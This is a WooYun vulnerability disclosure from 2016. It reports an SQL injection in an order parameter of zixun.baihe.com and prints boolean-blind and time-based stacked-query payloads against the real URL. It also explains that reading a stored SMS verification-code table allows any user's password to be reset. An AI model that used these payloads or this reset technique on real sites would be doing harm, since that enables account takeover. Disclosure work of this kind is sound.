当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170741

漏洞标题:百合网某站SQL注射漏洞(泄露验证码导致任意用户密码重置)

相关厂商:百合网

漏洞作者: 专业种田

提交时间:2016-01-18 08:46

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-18: 细节已通知厂商并且等待厂商处理中
2016-01-21: 厂商已经确认,细节仅向厂商公开
2016-01-31: 细节向核心白帽子及相关领域专家公开
2016-02-10: 细节向普通白帽子公开
2016-02-20: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

RT

详细说明:

百合情感学院 订单处sql注射漏洞!zixun.baihe.com

Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://zixun.baihe.com:80/index.php?g=course&m=pcindex&a=paysignup&order_no=BHMYKC20160117232605852') AND 1129=1129 AND ('PDfa'='PDfa
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: http://zixun.baihe.com:80/index.php?g=course&m=pcindex&a=paysignup&order_no=BHMYKC20160117232605852');(SELECT * FROM (SELECT(SLEEP(5)))QJzp)#


baihe1003.png


其实有后台的,但没看出来是哪个表存管理员密码,也没尝试获取所有表结构!
看到其中有sms sms_log表,然后网站上又有找回密码的功能,所以验证了一下该表存放的是短信验证码,这样可以通过短信重置任意帐号的密码!

baihe1004.png

漏洞证明:

以此证明危害

baihe1001.png

baihe1002.png

修复方案:

sql过滤

版权声明:转载请注明来源 专业种田@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-21 12:36

厂商回复:

谢谢

最新状态:

暂无